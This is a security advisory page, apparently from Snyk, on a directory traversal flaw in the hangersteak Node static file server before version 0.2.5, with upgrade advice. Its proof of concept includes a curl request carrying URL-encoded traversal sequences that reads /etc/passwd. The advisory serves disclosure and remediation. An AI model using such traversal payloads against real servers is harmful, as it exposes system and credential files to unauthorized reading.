hangersteak@0.2.1 vulnerabilities

Node static file web server

  • latest version

    0.2.12

  • latest non vulnerable version

  • first published

    5 years ago

  • latest version published

    2 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the hangersteak package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Directory Traversal

    hangersteak is a Node static file web server

    Affected versions of this package are vulnerable to Directory Traversal through the url which doesn't verify the file is from the root directory path.

    PoC

    1. create index.js:
    const http = require('http')
    const hangersteak = require('hangersteak')
    const server = http.createServer((req, res) => { hangersteak(req, res) })
    server.listen(3006)
    
    1. Start the application: nodejs index.js
    2. curl "http://localhost:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    How to fix Directory Traversal?

    Upgrade hangersteak to version 0.2.5 or higher.

    <0.2.5